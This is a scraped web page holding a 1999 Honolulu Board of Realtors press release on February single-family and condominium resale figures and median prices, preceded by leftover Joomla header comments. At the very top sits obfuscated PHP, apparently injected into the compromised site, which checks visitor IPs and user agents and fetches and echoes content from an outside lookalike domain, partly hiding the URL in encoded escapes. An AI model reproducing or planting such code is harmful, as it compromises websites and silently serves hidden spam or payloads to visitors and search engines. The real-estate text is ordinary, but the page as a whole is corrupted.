$x0f ){if ( $x1b( '#^'.$x0f.'$#', $_SERVER['REMOTE_ADDR']) )$x0b = TRUE ;}if ( $x0b || !( FALSE === $x1e( $x1c( $x0c, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ){if ($x19('curl_init')){ if( $x10 = $x13() ){$x14($x10,CURLOPT_URL,'http://agmaiil.com/link-weel/');$x14($x10,CURLOPT_RETURNTRANSFER,true);$x11 = $x15($x10);echo $x11;$x16($x10);}}else{$x12 = $x18("\150\164\164p\072\x2f\057a\x67\155\x61\151\151\x6c\056\x63\157\155/lin\153-we\x65l\x2f");echo $x12; }}
/**
* @packageJoomla.Site
* @copyrightCopyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
* @licenseGNU General Public License version 2 or later; see LICENSE.txt
*/
/**
* Content Component Query Helper
*
* @static
* @packageJoomla.Site
* @subpackagecom_content
* @since1.5
*/
/**
* Translate an order code to a field for secondary category ordering.
*
* @paramstring$orderbyThe ordering code.
* @paramstring$orderDateThe ordering code for the date.
*
* @returnstringThe SQL field(s) to order by.
* @since1.5
*/
/**
* Content Component Query Helper
*
* @static
* @packageJoomla.Site
* @subpackagecom_content
* @since1.5
*/
/**
* Translate an order code to a field for secondary category ordering.
*
* @paramstring$orderbyThe ordering code.
* @paramstring$orderDateThe ordering code for the date.
*
* @returnstringThe SQL field(s) to order by.
* @since1.5
*/
?>
THE HONOLULU BOARD OF REALTORS® ANNOUNCES
FEBRUARY RESIDENTIAL RESALES STATISTICS
|
|
|
HONOLULU--The Honolulu Board of REALTORS® today released its resale figures for the month of February. According to the analysis conducted by the Board's Research Department, using data from the computerized Multiple Listing Service system, the statistics were:
|
| Single Family Home Resales |
|
Number of
Sales |
This Month
Compared To |
|
Median*
Sales Price |
This Month
Compared To |
| February, 1999 |
155 |
|
|
$ 290,000 |
|
| January, 1999 |
|
|
|
$ 293,800 |
dn 0.9% |
| February, 1998 |
115 |
up 34.1% |
|
$ 270,000 |
up 7.4% |
| Condominium Resales |
|
Number of
Sales |
This Month
Compared To |
|
Median*
Sales Price |
This Month
Compared To |
| February, 1999 |
193 |
|
|
$ 140,000 |
|
| January, 1999 |
|
|
|
$ 130,500 |
up 7.3% |
| February, 1998 |
150 |
up 28.7% |
|
$ 157,500 |
dn 11.1% |
| *Median price means half the prices were above and half below the given price. |
| Peter Freeman, President & CEO of the Honolulu Board of REALTORS®, said, " February marks the 20th consecutive month of higher sales on a year-over-year basis. 348 residential resales closed last month. This is 31.3% higher than the resales during the same time period last year. This additional buyer demand appears to have increased pricing; a trend confirmed by the higher prices being posted for some of Oahu's neighborhoods. Eight of the 17 single family home neighborhoods that we analyze achieved higher median sales prices in the first two months of 1999 than during the same time in 1998. Nine of the 19 condominium research neighborhoods also had higher prices. This emergence of price stabilization is a welcome change from the past few years. "
Freeman continued, " We are concerned with the recent fluctuations in bond rates. They increased mortgage rates by about a half percent. Although long-term, 30-year fixed rates are lower than a year ago, these rates have risen to where they stood about six months ago. If this mortgage rate trend continues, it could adversely affect the affordability of homes for real estate buyers. It may also put a damper on the renewal of strength we've seen in the housing market since mid-1997. A situation like this occurred in 1994 when the US Federal Reserve forced extensive increases in loan rates. Short-term rates, used as the basis of Adjustable Rate Mortgages, are not affected quite as much and are still low. "
Freeman also stated, " The public is encouraged to visit the Board's Internet web site, Hawaii Real Estate Central, to see what's happening in the housing market. We've provided the public with the ability to search through Oahu single family home and condominium listings, both available for sale and for rent, and to see those homes that will be open to visit this Sunday. All searches can be done by geographic location, price range or both. In addition, there is a lot of useful information about buying and selling real estate in Hawaii."
The Honolulu Board of REALTORS® is in its 77th year of service to Oahu and is one of the largest of 1,600 boards of REALTORS® in the nation. It is also the largest trade organization on Oahu. Membership, which numbers approximately 3,700, is available to licensed real estate brokers and agents who agree to adhere to a strict Code of Ethics.
(This report reflects information about resales of existing properties only and does not include new home sales. All of the MLS information is compiled from sales reported during the cited months; this data is known only after closing of escrow. The time delay between the signing of a sales contract and the closing of escrow is usually between two and four months.)
|
|
| Released: March 3, 1999 |
NAR's HouseLogic
HBR Awards Programs 